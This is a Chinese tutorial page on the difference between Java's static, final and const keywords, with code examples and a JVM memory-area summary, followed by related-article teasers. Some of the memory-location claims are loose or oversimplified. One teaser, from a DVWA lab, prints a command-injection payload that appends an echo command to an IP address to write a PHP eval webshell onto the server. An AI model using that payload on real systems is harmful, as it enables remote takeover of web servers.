java中static和const和final的区别

static 关键字

static 关键字用于声明类的成员(方法或变量)为静态成员。静态成员属于类本身,而不是类的实例。换句话说,静态成员可以通过类名直接访问,而不需要实例化对象。

  • 静态变量:属于类的所有对象共享,类的所有实例共享相同的内存位置。
  • 静态方法:可以在没有创建对象的情况下直接调用。
  • 静态块:在类加载时执行一次,用于初始化类的静态成员。
  • 编译时机static 关键字主要在编译时确定。它告诉 JVM,该成员属于类而非实例,因此不需要通过对象来访问。static 修饰的变量和方法会被加载到 方法区 中的 类的结构部分
  • 内存存储位置static 成员存储在 方法区 中的 类的静态变量区。每个类只有一个静态变量区,所有实例共享这部分内存。静态方法也存储在方法区的 方法区(Method Area) 中。

count 是静态变量,在两个 Counter 对象中共享,displayCount 是静态方法,可以通过类名直接调用。

class Counter {
    static int count = 0;  // 静态变量
    
    Counter() {
        count++;  // 每次创建对象时,静态变量 count 会增加
    }

    static void displayCount() {
        System.out.println("Count: " + count);  // 静态方法可以直接访问静态变量
    }
}

public class Main {
    public static void main(String[] args) {
        Counter c1 = new Counter();
        Counter c2 = new Counter();
        Counter.displayCount();  // 调用静态方法,输出 Count: 2
    }
}

final 关键字

final 是一个多用途的关键字,它可以用于变量、方法和类的定义,分别具有不同的含义。

  • 用于变量:声明为 final 的变量是常量,一旦赋值后不可更改(不可重新赋值)。
  • 用于方法:声明为 final 的方法不能被子类重写。
  • 用于类:声明为 final 的类不能被继承。
  • 编译时机final 关键字的使用在编译时就确定了变量、方法或类的行为。例如,如果一个方法被声明为 final,编译器会禁止任何子类重写该方法;如果一个类被声明为 final,编译器会禁止任何子类继承该类。对于变量,final 确保该变量一旦赋值后不可修改。
  • 内存存储位置
    • final 变量:常量(final 变量)通常在 方法区 中的 常量池(Constant Pool) 中存储。如果是局部变量,存储在栈中。
    • final 类和方法:存储在 方法区 中的 类的结构部分final 类和方法不会被继承或重写,因此它们在运行时不需要动态解析。

PI 被声明为 final,因此它的值不能更改。

// final 变量
class Circle {
    final double PI = 3.14159;  // 常量,值不可更改
    
    void calculateArea(double radius) {
        double area = PI * radius * radius;  // 使用常量
        System.out.println("Area: " + area);
    }
}

public class Main {
    public static void main(String[] args) {
        Circle circle = new Circle();
        circle.calculateArea(5);
        // PI = 3.14;  // 编译错误,无法修改 final 变量的值
    }
}

const 关键字

在 Java 中,const 是一个保留关键字,但它并没有在语言中实现功能,实际上 Java 中并不使用 const 来定义常量。Java 提供了 final 来替代 const 的功能。

  • const 在 Java 中没有实现任何功能。
  • const 关键字保留用于未来可能的用途,但目前不被使用。
  • 常量在 Java 中应该使用 final 关键字来定义。
  • 编译时机:虽然 const 是 Java 中的保留关键字,但它并没有被实现。实际上,Java 没有使用 const 来定义常量。在 Java 中,我们通常使用 final 来定义常量。
  • 内存存储位置:由于 const 不被实际使用,它不会在内存中占用任何空间。任何常量都应该使用 final 来定义,并存储在 方法区的常量池 或堆栈中。

使用 const 会导致编译错误,因为 const 在 Java 中并没有实际作用。 

// const 在 Java 中并不使用
public class Main {
    public static void main(String[] args) {
        // const int x = 10;  // 编译错误,const 不被使用
    }
}
特性staticfinalconst
定义用于类的成员(方法、变量)指定该成员为静态的用于变量、方法、类,表示常量、不允许修改或重写目前在 Java 中没有实现
使用场景当需要共享数据或功能时使用用于常量、禁止继承/重写的方法、不可修改的变量Java 中不使用 const
作用域静态成员属于类,而不是实例对象变量不可修改,方法不可重写,类不可继承不被使用
示例static int count;final int x = 10;不支持
静态方法静态方法可以在没有实例化对象的情况下直接调用不适用不适用
继承/重写静态成员可以被继承,但不可以被重写final 方法不能被重写,final 类不能被继承不适用
关键字编译时机内存存储位置说明
static编译时方法区 中的 类的静态变量区,静态方法也存储在方法区中static 成员属于类而非实例,所有实例共享这部分内存
final编译时方法区的常量池堆栈(针对局部变量)final 变量会存储在常量池中,final 方法和类存储在方法区
const编译时不会被使用const 是保留关键字,Java 没有实际应用,通常用 final 代替

完整示例

class Person {
    static String species = "Homo sapiens";  // 静态变量
    final String name;  // 常量,必须在构造方法中初始化

    Person(String name) {
        this.name = name;
    }

    // final 方法,不能被子类重写
    final void showDetails() {
        System.out.println("Name: " + name + ", Species: " + species);
    }
}

class Student extends Person {
    Student(String name) {
        super(name);
    }

    // 编译错误,无法重写 final 方法
    // void showDetails() { 
    //     System.out.println("Student: " + name);
    // }
}

public class Main {
    public static void main(String[] args) {
        Person person = new Person("Alice");
        person.showDetails();  // 调用父类的 final 方法
        
        // 通过类名访问静态变量
        System.out.println("Species: " + Person.species);

        // 修改静态变量
        Person.species = "Homo erectus";
        System.out.println("Updated Species: " + Person.species);

        // name = "Bob";  // 编译错误,final 变量不可修改
    }
}

Java 内存区的详细说明

1.方法区(Method Area)
  • 存放内容:类的结构(包括类的元数据)、静态变量、常量池、方法代码等。
  • 静态成员和常量static 成员变量和 final 常量通常存储在方法区中。静态方法也存储在方法区。常量则会存放在类的常量池(Constant Pool)中。
2.堆(Heap)
  • 存放内容:对象实例、数组、类的实例等。
  • final 变量(如果是对象引用):如果 final 变量是引用类型,则它的引用会存放在栈中,但对象本身会存放在堆中。
3.栈(Stack)
  • 存放内容:局部变量、方法调用信息、操作数栈等。
  • final 局部变量:局部变量(如方法参数)如果是 final,则存储在栈上。
4.程序计数器(Program Counter Register)
  • 存放内容:每个线程都有一个程序计数器,指向当前执行的字节码指令。
  • final 修饰的局部变量(参数):存储在栈上,而栈本身不直接与程序计数器相关联。
5.本地方法栈(Native Method Stack)
  • 存放内容:存放 native 方法的调用信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948141.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

设计心得——流程图和数据流图绘制

一、流程图和数据流图 在软件开发中,画流程图和数据流图可以说是几乎每个人都会遇到。 1、数据流(程)图 Data Flow Diagram,DFG。它可以称为数据流图或数据流程图。其主要用来描述系统中数据流程的一种图形工具,可以将…

SpringBoot框架开发中常用的注解

文章目录 接收HTTP请求。RestController全局异常处理器Component依赖注入LombokDataBuildersneakyThrowsRequiredArgsConstructor 读取yml文件配置类注解 接收HTTP请求。 RequestMapping 接收HTTP请求。具体一点是 GetMapping PostMapping PutMapping DeleteMapping 一共…

ELK日志平台搭建 (最新版)

一、安装 JDK 1. 下载 JDK 21 RPM 包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm2. 安装 JDK 21,使用 rpm 命令安装下载的 RPM 包: sudo rpm -ivh jdk-21_linux-x64_bin.rpm3. 配置环境变量 编辑 /etc/profile 文件以配置 JAVA_HO…

使用 Jupyter Notebook:安装与应用指南

文章目录 安装 Jupyter Notebook1. 准备环境2. 安装 Jupyter Notebook3. 启动 Jupyter Notebook4. 选择安装方式(可选) 二、Jupyter Notebook 的基本功能1. 单元格的类型与运行2. 可视化支持3. 内置魔法命令 三、Jupyter Notebook 的实际应用场景1. 数据…

AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接:164. 可达性统计 - AcWing题库 题目描述: 题目 输入格式 输出格式 数据范围 输入样例: 输出样例: 思路 AC代码: 题目描述: 题目 给定一张 𝑁 个点 𝑀 条边的有向无…

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法: 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个,已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下: python学opencv|读取图像(二十三)使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像(二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件;图示如下: 但是,下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一,版本号 版本号是小程序版本的标识,通常由一系列数字组成,如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号:当小程序有重大更新或不兼容的更改时,主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中,也需要遵循相应的设计原则,这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性,安全性,可定制化,可扩展性,可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流,并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理:基于文件节点 coulomb_count 实现,计算公式:电流&…

AWS re:Invent 的创新技术

本月早些时候,Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re:Invent 大会。如果您从未参加过 re:Invent 会议,那么最能描述它的词是“巨大”——不仅从与会者人数(60,000 人)来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…